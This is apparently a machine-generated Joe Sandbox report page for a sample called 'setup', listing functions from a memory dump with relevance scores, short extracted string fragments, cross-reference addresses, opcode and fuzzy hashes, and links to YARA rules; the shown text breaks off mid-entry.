String ID: $;$Q$X$Y$d$i$n$o$w$|
API String ID: 0-3832149783
Opcode ID: 2314355056bd722770183cb8088b132bd75681a9d676ab7912b51b54628eeb43
Instruction ID: cf7f0ab8209bb562b860aedb86457ee1ddab37ff034aae2d95bf3335814a805d
Opcode Fuzzy Hash: 2314355056bd722770183cb8088b132bd75681a9d676ab7912b51b54628eeb43
Instruction Fuzzy Hash: D462E632A0C7908BD324DB78C8957AFBBD2ABD5314F198A7ED4D9C7382D67889418743

Function 007CFA6D Relevance: 13.3, Strings: 10, Instructions: 829COMMON

Download Yara Rule

Strings

gncs, xrefs: 007CFDC5
6-v<, xrefs: 007CFDD5
%H, xrefs: 007CFD85
&, xrefs: 007CFCA0
$, xrefs: 007D0133
XDAA, xrefs: 007CFD95
SGWS, xrefs: 007CFDA5
CJGW, xrefs: 007CFD7D
FGOH, xrefs: 007CFD8D
dca$, xrefs: 007CFC37

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: $$&$6-v<$CJGW$FGOH$SGWS$XDAA$dca$$gncs$%H
API String ID: 0-2567165219
Opcode ID: eb546a2a158926e177071005041b231b40cb808c75dd288af3dc57dd028db345
Instruction ID: 240a6cca6164edf065820b77e5847a544d3a8195cd9d397a33475dab897607c2
Opcode Fuzzy Hash: eb546a2a158926e177071005041b231b40cb808c75dd288af3dc57dd028db345
Instruction Fuzzy Hash: 9652377150C3949FC725CF24C850B6EBBE2AF96304F18866DE8E55B392D739C909CB92

Function 007C3309 Relevance: 10.5, Strings: 8, Instructions: 548COMMON

Download Yara Rule

Strings

-, xrefs: 007C385E
U, xrefs: 007C34F5
E, xrefs: 007C3643
:, xrefs: 007C38EE
', xrefs: 007C3863
K, xrefs: 007C3317
k, xrefs: 007C3736
w, xrefs: 007C3731

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: '$-$:$E$K$U$k$w
API String ID: 0-3832130547
Opcode ID: 19d7d434640ac6aa149b3d60ae7f1188e680d85b1327cfd79b2319fd7a979a87
Instruction ID: c061eea8fab7ff88303c6e6a7b978c2d15697c8e1449d5d28a90203fa2255096
Opcode Fuzzy Hash: 19d7d434640ac6aa149b3d60ae7f1188e680d85b1327cfd79b2319fd7a979a87
Instruction Fuzzy Hash: BC22E87260C780CBD728DF38C4957AEBBE1ABD5310F198A2DE5D9D7382D67889058B43

Function 007D43F9 Relevance: 9.1, Strings: 7, Instructions: 320COMMON

Download Yara Rule

Strings

1, xrefs: 007D44E8
N:;K, xrefs: 007D4429
b^\4, xrefs: 007D4527
7@B6, xrefs: 007D4439
*U/, xrefs: 007D4441
P'Y, xrefs: 007D4459
cdbc, xrefs: 007D4471

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: *U/$1$7@B6$N:;K$P'Y$b^\4$cdbc
API String ID: 0-3653579167
Opcode ID: 445a948b9a26183fc3260df5ce2c48d07d97ecb2d2a5b58b0b3d90713b69fb5e
Instruction ID: d936a5124946f032d5451e591a60388e8568bfde9d90cbaaa19635ce6d1d455f
Opcode Fuzzy Hash: 445a948b9a26183fc3260df5ce2c48d07d97ecb2d2a5b58b0b3d90713b69fb5e
Instruction Fuzzy Hash: 0BA1DDB150C3918FD711CF29D49066BBFE1ABE3304F19895CE0E14B352D779880ACB96

Function 007EA5ED Relevance: 8.1, Strings: 6, Instructions: 614COMMON

Download Yara Rule

Strings

Xrsp, xrefs: 007EA72F
e3`=, xrefs: 007EA84D
YV, xrefs: 007EAA8C
\, xrefs: 007EA7F1
:, xrefs: 007EA7E6
d7g1, xrefs: 007EA882

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: :$Xrsp$YV$\$d7g1$e3`=
API String ID: 0-1510934275
Opcode ID: e39bb1f7dbe3c2ddcf04374d7c298b6df9e0e7d3c69ca82d5ba1492e881b68bb
Instruction ID: c026fee9b246b3cdf3942c0790bee6949c528226ef008b31dc7c91b96e46c4cf
Opcode Fuzzy Hash: e39bb1f7dbe3c2ddcf04374d7c298b6df9e0e7d3c69ca82d5ba1492e881b68bb
Instruction Fuzzy Hash: 4912E276609380AFD710CF26C88475BBBE2EFC9710F14892CF9959B290D778E905CB52

Function 007CB2BF Relevance: 7.6, Strings: 6, Instructions: 125COMMON

Download Yara Rule

Strings

"Q!S, xrefs: 007CB333
-U)W, xrefs: 007CB33E
2A=C, xrefs: 007CB307
=Y([, xrefs: 007CB31D
3E5G, xrefs: 007CB312
];_, xrefs: 007CB328

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: ];_$"Q!S$-U)W$2A=C$3E5G$=Y([
API String ID: 0-1233860087
Opcode ID: 0779789e10b95b7f69b45071bbcfe072519a8d08cfbfb59a7e27c0a9082712ce
Instruction ID: efb7534e40ad3b35f36d1f74ed781dc5bbc932fe8ab669a9e7ead46f529f6e61
Opcode Fuzzy Hash: 0779789e10b95b7f69b45071bbcfe072519a8d08cfbfb59a7e27c0a9082712ce
Instruction Fuzzy Hash: F331CDB66193508BC7318F19C886B9BB7F0FF96720F188A5CE4D89B251E3789801CB52

Function 007D5352 Relevance: 7.6, Strings: 6, Instructions: 77COMMON

Download Yara Rule

Strings

K)K+, xrefs: 007D53C0
S=S?, xrefs: 007D53A8
@A, xrefs: 007D53F0
?Q<S, xrefs: 007D53D0
J%O', xrefs: 007D53B8
^1V3, xrefs: 007D5390

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: ?Q<S$@A$J%O'$K)K+$S=S?$^1V3
API String ID: 0-291098561
Opcode ID: a1748a7a25d357aa654c81b537de1f201b28465e1915cb39141e5518106d14a0
Instruction ID: 68c5f7e1e34fe62e6f2597c990bc6d4105b96eba26a0e098fa56b455b3fda7cf
Opcode Fuzzy Hash: a1748a7a25d357aa654c81b537de1f201b28465e1915cb39141e5518106d14a0
Instruction Fuzzy Hash: 0B31DFB15187409FD744CF26D89006FFBF2ABD6354F549E2DE4AA8B310DB78850A8F42

Function 007BAA6D Relevance: 6.6, Strings: 5, Instructions: 375COMMON

Download Yara Rule

Strings

J, xrefs: 007BAD99
x[, xrefs: 007BAB91
:#?8, xrefs: 007BAABD
=$<7, xrefs: 007BAAAD
8,-7, xrefs: 007BAAA5

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 8,-7$:#?8$=$<7$J$x[
API String ID: 0-1617895910
Opcode ID: ac4e9b2b7fad3f1ad03b0ffa077755583c6e03c681aea3ec91f3d70ba34a848a
Instruction ID: d4ad86864362fd98d4534053052f699404be8b1c86c224cb716e012ea7ab7955
Opcode Fuzzy Hash: ac4e9b2b7fad3f1ad03b0ffa077755583c6e03c681aea3ec91f3d70ba34a848a
Instruction Fuzzy Hash: 72B1D27064C3919BC3269F2984907ABFFE19FA3301F0889ACE4D55F742D239894AD767

Function 007DC61D Relevance: 6.6, Strings: 5, Instructions: 300COMMON

Download Yara Rule

Strings

0, xrefs: 007DC855
{e~`, xrefs: 007DC6D0
tvoc, xrefs: 007DC6BA
-!A, xrefs: 007DC6FD
-0, xrefs: 007DC6DB

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: -!A$-0$0$tvoc${e~`
API String ID: 0-1860951997
Opcode ID: 0aca53b16568f12b59cc4bbe31310a03a6ee3ee23cb49bdf4f960ad0e7cfb403
Instruction ID: 2f90ee96c2b6d4d80d44362a9da6816daff9ff8cdb13a37a17309c8269deec50
Opcode Fuzzy Hash: 0aca53b16568f12b59cc4bbe31310a03a6ee3ee23cb49bdf4f960ad0e7cfb403
Instruction Fuzzy Hash: DB91AD7150D3C18BD739CF29C4617ABBBE1ABD2310F28895ED8D98B392DB358506CB52

Function 007BC74A Relevance: 6.3, Strings: 5, Instructions: 92COMMON

Download Yara Rule

Strings

"j!h, xrefs: 007BC81F
:n=l, xrefs: 007BC818
f?d, xrefs: 007BC826
8r<p, xrefs: 007BC811
n&G$, xrefs: 007BC7B6

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: f?d$"j!h$8r<p$:n=l$n&G$
API String ID: 0-4152412813
Opcode ID: 0c7a8034791b5c6018e52c2f1540ccf0c3cfc4bf90b0052ea029e0dcf63348b8
Instruction ID: e3065f902029688117d4b49f5875a42260c0877548740f8d2d6175eed57bc03c
Opcode Fuzzy Hash: 0c7a8034791b5c6018e52c2f1540ccf0c3cfc4bf90b0052ea029e0dcf63348b8
Instruction Fuzzy Hash: 9951FDB4502343CFE359CF968581785FBB2FB02200F19A7A9C5695FA26D7B084D2CF95

Function 007BC0CD Relevance: 5.4, Strings: 4, Instructions: 443COMMON

Download Yara Rule

Strings

, xrefs: 007BC560
qs, xrefs: 007BC1FC
^], xrefs: 007BC349
y{, xrefs: 007BC1EC

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: $^]$qs$y{
API String ID: 0-2725401534
Opcode ID: c6a27458d328edd11bb53946f67b854cbaab20696cb99b0e06536be1e37df189
Instruction ID: a72d0a7eaf78a21db30231a6f90f934dcf2d61897677f727d71e1d3fe77606ca
Opcode Fuzzy Hash: c6a27458d328edd11bb53946f67b854cbaab20696cb99b0e06536be1e37df189
Instruction Fuzzy Hash: E8D1387664C3904BD325CF6984917EFBBE2AFC1314F1CC96CE4E58B245D639D90A8B82

Function 007CE2CB Relevance: 5.2, Strings: 4, Instructions: 193COMMON

Download Yara Rule

Strings

N.L, xrefs: 007CE3E3
2F.D, xrefs: 007CE3D3
Iv, xrefs: 007CE3F3
'$, xrefs: 007CE2EB

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: N.L$'$$2F.D$Iv
API String ID: 0-3473471533
Opcode ID: 7049c1e76ac9c66c961d113cdb09567056ec9c755dab5ad184fa34e70ad6b615
Instruction ID: f59a25be25a7a36892a137ccc57eb46a4887ed548a4b455d7aaf12aee698808d
Opcode Fuzzy Hash: 7049c1e76ac9c66c961d113cdb09567056ec9c755dab5ad184fa34e70ad6b615
Instruction Fuzzy Hash: 7951CDB164C3909FD309DFAA9855A2FFBE2ABD1304F548C5CF0D58B245C638C6098B57

Function 007BF001 Relevance: 4.4, Strings: 3, Instructions: 603COMMON

Download Yara Rule

Strings

no_s, xrefs: 007BF48A
{=C, xrefs: 007BF7BD
iPSZ, xrefs: 007BF4B6

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: iPSZ$no_s${=C
API String ID: 0-605875136
Opcode ID: b7dabdc852ea727472455d81f081fc4f1e70d080c5f6d0dd54130c4698848933
Instruction ID: 064eac7cb5c25f9a926787267662eb374d3b4319f6de9aa24a58ec388da16231
Opcode Fuzzy Hash: b7dabdc852ea727472455d81f081fc4f1e70d080c5f6d0dd54130c4698848933
Instruction Fuzzy Hash: 24029EB414D3C58BD3368F2998947EBBFE0AF97704F184AACD4E94B242C7790506CB66

Function 007CE8CD Relevance: 4.2, Strings: 3, Instructions: 408COMMON

Download Yara Rule

Strings

b, xrefs: 007CE953
/,, xrefs: 007CE9AB
KH, xrefs: 007CEBA7

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: /,$KH$b
API String ID: 0-2155755540
Opcode ID: 9833fc8c0eca8366b76986b3924aad65a2340f45727e9712a310e1f8a09172d5
Instruction ID: 59e3de27530a93a208dc690e8f5730cb4457af4444001db18d36dbeb0654d579
Opcode Fuzzy Hash: 9833fc8c0eca8366b76986b3924aad65a2340f45727e9712a310e1f8a09172d5
Instruction Fuzzy Hash: 03A1BCB55083018AC724DF28C892B7BB7F2EF91314F189A1CE9D98B391E738D905C796

Function 007DD156 Relevance: 4.1, Strings: 3, Instructions: 387COMMON

Download Yara Rule

Strings

0, xrefs: 007DD411
zfbv, xrefs: 007DD49A
}i{%, xrefs: 007DD4B0

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 0$zfbv$}i{%
API String ID: 0-3671949165
Opcode ID: 4a27bc15ef3028491fd4583de81582aac9d538aa4b35c6489e40dba816702785
Instruction ID: 85e60f70e176ce2d3a9748c5aeb1f7d5cf868d87c5a96cb12a6a5a522246e9fa
Opcode Fuzzy Hash: 4a27bc15ef3028491fd4583de81582aac9d538aa4b35c6489e40dba816702785
Instruction Fuzzy Hash: 3FB138226093D18AD339CF2984513B6FBE29BD6354F1D85EED8D98B382C63D9C058762

Function 007BAE4D Relevance: 4.1, Strings: 3, Instructions: 379COMMON

Download Yara Rule

Strings

=, xrefs: 007BAF99
hntl, xrefs: 007BAF22, 007BB009, 007BAF62, 007BAFBF
^HY], xrefs: 007BAEE2

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: =$^HY]$hntl
API String ID: 0-263700783
Opcode ID: 66bcf6474ac4eb6e704b0d991613846415364bc73f445f4e4ce917322a5171ad
Instruction ID: ad79843aeac1bc0e31ec3524413f7b6e999bdc25fcb262489f41d96e684a3292
Opcode Fuzzy Hash: 66bcf6474ac4eb6e704b0d991613846415364bc73f445f4e4ce917322a5171ad
Instruction Fuzzy Hash: 15B1F3B250C3409FD318DF25C891AABBBE6ABD1314F04896DE5D68B382DB78C509CB56

Function 007BFCC5 Relevance: 4.0, Strings: 3, Instructions: 201COMMON

Download Yara Rule

Strings

!, xrefs: 007BFD41
RQJ>, xrefs: 007BFCD7
OQJ>, xrefs: 007BFD15

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: !$OQJ>$RQJ>
API String ID: 0-3745743227
Opcode ID: bf57af7d27e4d529f8e32b7c3fdc06ece7fd17807a6597af58b02b5fe45d9909
Instruction ID: 579b760f522436b7d69367f806496ed8a18275e3497ae1d849aa6cc475d35b6f
Opcode Fuzzy Hash: bf57af7d27e4d529f8e32b7c3fdc06ece7fd17807a6597af58b02b5fe45d9909
Instruction Fuzzy Hash: 50513873A483A14BD724CA78CC417EFB6D2AFD5310F1A467DDC98E7345EA784A458382

Function 007B640D Relevance: 3.3, Strings: 2, Instructions: 819COMMON

Download Yara Rule

Strings

0, xrefs: 007B6D7C
8, xrefs: 007B6D74

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 6675ff7f3609771426062542c8c1aced61ceedd398b5a1dff7a2e748270acf35
Instruction ID: 1b5aa95450bdbf97925620e17141d0a80b9f808915d066e4770af0496cbcf793
Opcode Fuzzy Hash: 6675ff7f3609771426062542c8c1aced61ceedd398b5a1dff7a2e748270acf35
Instruction Fuzzy Hash: 5E726A716083409FD714CF18C894BABBBE1BF94314F14892DFA9887392D779D958CB92

Function 007B5ADD Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 007B5B58
IEND, xrefs: 007B5ECE

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 18f5fabc71349b159bab190cad3547dff301cdea6abc7218fcca6c81f5217a9a
Instruction ID: feb184bc97cd860f9b1151531065b223eae94921d14a948b952412e86d5f3c0b
Opcode Fuzzy Hash: 18f5fabc71349b159bab190cad3547dff301cdea6abc7218fcca6c81f5217a9a
Instruction Fuzzy Hash: 46D19DB1508744DFE720DF14C885B9BBBE4EB95304F14492DFA999B381E379E908CB92

Function 007DE8E3 Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

AE}B, xrefs: 007DF014
F!I=, xrefs: 007DEF25

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: AE}B$F!I=
API String ID: 0-1271975744
Opcode ID: f2c02f7d3b6712817ee995ab361013b2edd6ab4c50fd097b65cb7e4a8bb3ed18
Instruction ID: 99dc7466d308f83a0716861282529ab5139bd1d446aa28c34a5e8ee4302f9d3e
Opcode Fuzzy Hash: f2c02f7d3b6712817ee995ab361013b2edd6ab4c50fd097b65cb7e4a8bb3ed18
Instruction Fuzzy Hash: ECA1F87150C3928BD725CF29C45136ABBF1EFD6300F18C96ED4DA9B386CA759806CB52

Function 007DE9FC Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

AE}B, xrefs: 007DF014
F!I=, xrefs: 007DEF25

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: AE}B$F!I=
API String ID: 0-1271975744
Opcode ID: 6c81db343a9fdb79c8e67fb3b5111bc0464574e9a2686e1102fb9177d0f6e250
Instruction ID: 993dda312bf6e0bc36d7f78fbb781e84d42b2884e2020ccc2e697726187dc04c
Opcode Fuzzy Hash: 6c81db343a9fdb79c8e67fb3b5111bc0464574e9a2686e1102fb9177d0f6e250
Instruction Fuzzy Hash: E7A10A71508392CBD725CF29C45136ABBF1ABD6300F18C96ED4DA9B386CB799805CB52

Function 007C9474 Relevance: 2.8, Strings: 2, Instructions: 293COMMON

Download Yara Rule

Strings

O016, xrefs: 007C965E
o, xrefs: 007C963E

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: O016$o
API String ID: 0-2860071445
Opcode ID: d83dd61649d98ecb8728194979c85e21a8bdb1ead134e96ba6a71a93091e6098
Instruction ID: edf3a8d177210b48fc18488e32c67a18a0521a0f0a6b47df578fcfcb54ae1351
Opcode Fuzzy Hash: d83dd61649d98ecb8728194979c85e21a8bdb1ead134e96ba6a71a93091e6098
Instruction Fuzzy Hash: 09A1E4729183128BC328CF28C4917ABB7E1FF94754F194A2DE9C58B391E778D945CB81

Function 007DE9E9 Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

AE}B, xrefs: 007DF014
F!I=, xrefs: 007DEF25

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: AE}B$F!I=
API String ID: 0-1271975744
Opcode ID: 41c10c27d5110fc24821ba59b858711c7034fec238fc9af1002fd7dafa7e88be
Instruction ID: c437b1f53623028373641e7b6efc592d74cbe78b8cabd9838c5a7a56d4a505e7
Opcode Fuzzy Hash: 41c10c27d5110fc24821ba59b858711c7034fec238fc9af1002fd7dafa7e88be
Instruction Fuzzy Hash: A29106719083928FD324CF29C45176ABBF2AFD6300F18899ED4D99B386CB749806CB52

Function 007DEEC7 Relevance: 2.8, Strings: 2, Instructions: 288COMMON

Download Yara Rule

Strings

AE}B, xrefs: 007DF014
F!I=, xrefs: 007DEF25

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: AE}B$F!I=
API String ID: 0-1271975744
Opcode ID: 9501884a97f9b1228cfc5c5806b8d339f9ca5c0270db1abeb6ffcc64bb630189
Instruction ID: 9991e13a9c09da91f60162864dd641f163d6ac1f7d0a4414223a04eb370f0dcf
Opcode Fuzzy Hash: 9501884a97f9b1228cfc5c5806b8d339f9ca5c0270db1abeb6ffcc64bb630189
Instruction Fuzzy Hash: 14910571908392CBD324CF29C45176ABBF2AFD6300F18899ED4D99B386CB749806CB52

Function 007D804D Relevance: 2.8, Strings: 2, Instructions: 283COMMON

Download Yara Rule

Strings

-,#", xrefs: 007D809F
t, xrefs: 007D82ED

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: -,#"$t
API String ID: 0-4244866344
Opcode ID: d8f7699e884dc5e917eb2aa5f9312ffb1d07b65bb10d29466100b679384a1d34
Instruction ID: 3935a4c39437002a96142d72eb32e49b80c25ab74a8baf5d98cc45f1c136e940
Opcode Fuzzy Hash: d8f7699e884dc5e917eb2aa5f9312ffb1d07b65bb10d29466100b679384a1d34
Instruction Fuzzy Hash: 47814971A053019BD7589E29CC56B3FB6F2EB95310F18C53EE98697384EA3CAC058793

Function 007D9ED6 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

,q>s, xrefs: 007DA043
HI, xrefs: 007D9F97

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: ,q>s$HI
API String ID: 0-980453730
Opcode ID: 02707259b9aa60e88ea052027358250054af34dc7cb1e4c36d7b6c8987630673
Instruction ID: 3d424ab667ff33bc8943308350c8bcc84e9a9f04c51326b78e8cddcf875943d7
Opcode Fuzzy Hash: 02707259b9aa60e88ea052027358250054af34dc7cb1e4c36d7b6c8987630673
Instruction Fuzzy Hash: 2341E0719093169BC320DF58C85126BB7F2FFD6310F188A1DE9998B344E7789511C786

Function 007DF340 Relevance: 2.6, Strings: 2, Instructions: 145COMMON

Download Yara Rule

Strings

{_kE, xrefs: 007DF372
{_kE, xrefs: 007DF40D, 007DF4A2

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: {_kE${_kE
API String ID: 0-2717772715
Opcode ID: 84507986243de8a63ad646bbc19ba2d3585a88d8a7cfd2393568b185141ac678
Instruction ID: 4338b2fc09a413479c31c3b3617cd491433907cc975c49a5b645451eff9b3a83
Opcode Fuzzy Hash: 84507986243de8a63ad646bbc19ba2d3585a88d8a7cfd2393568b185141ac678
Instruction Fuzzy Hash: BB4127711083C18AD729CF35C8617FABBE29BE2300F18857DC1D687386DA3D49468712

Function 007C7F9F Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

^Z I, xrefs: 007C7FD3
^Z , xrefs: 007C7FDA

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: ^Z $^Z I
API String ID: 0-2498858677
Opcode ID: 1e651d9a85ba79e484935614caae60f86a55f72f65cb5a82967b937431b415ab
Instruction ID: 746c175f54294c4dcd27e8ccbed3ad26fd9251547f77d207cb5f06a2b214477c
Opcode Fuzzy Hash: 1e651d9a85ba79e484935614caae60f86a55f72f65cb5a82967b937431b415ab
Instruction Fuzzy Hash: AA117D3191C3418BD718CE34C4A177ABBD1EBA2744F08457DE8C653286CA39894DCBE3

Function 007DDF10 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

N, xrefs: 007DDF26
LNua, xrefs: 007DDF86

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: LNua$N
API String ID: 0-1541665044
Opcode ID: b737bd3dd6e32e2df6477e3c3192376af311689c2f59e612a5a63c000a4ee03d
Instruction ID: 5866b8a2632344a2c7a823564299d24f83d5941d4f8d7acab8b6dfeb0acb0f51
Opcode Fuzzy Hash: b737bd3dd6e32e2df6477e3c3192376af311689c2f59e612a5a63c000a4ee03d
Instruction Fuzzy Hash: 8211C865B093814BD72C8F36856237ABBA36BD6204F2DE57E80D7CB2C6CD7888028715

Function 007CB70D Relevance: 2.5, Strings: 1, Instructions: 1297COMMON

Download Yara Rule

Strings

i, xrefs: 007CBA34

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: i
API String ID: 0-324635982
Opcode ID: 3e467fbd2cb150ad22e9e63a58ac5a9088465647a240849783bea301ba73d564
Instruction ID: d857c420919265d791f83513a81ae0f0c890b6982e3ead5b34a533ad1fc0d481
Opcode Fuzzy Hash: 3e467fbd2cb150ad22e9e63a58ac5a9088465647a240849783bea301ba73d564
Instruction Fuzzy Hash: 48926975A09350ABE724CF28C851F3BBBD1ABEA700F19842CF9C597245D779EC058B92

Function 007DDFDD Relevance: 1.9, Strings: 1, Instructions: 611COMMON

Download Yara Rule

Strings

b, xrefs: 007DE3FE

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: b
API String ID: 0-1908338681
Opcode ID: cae4fa0488f72d8b28949650e9725e27e5330166d57be1caba6830a9a7339915
Instruction ID: 60a97da3cf72856e6cdd55afdcdd63893b50fb46cbe93d887c990e0d2f0eff0b
Opcode Fuzzy Hash: cae4fa0488f72d8b28949650e9725e27e5330166d57be1caba6830a9a7339915
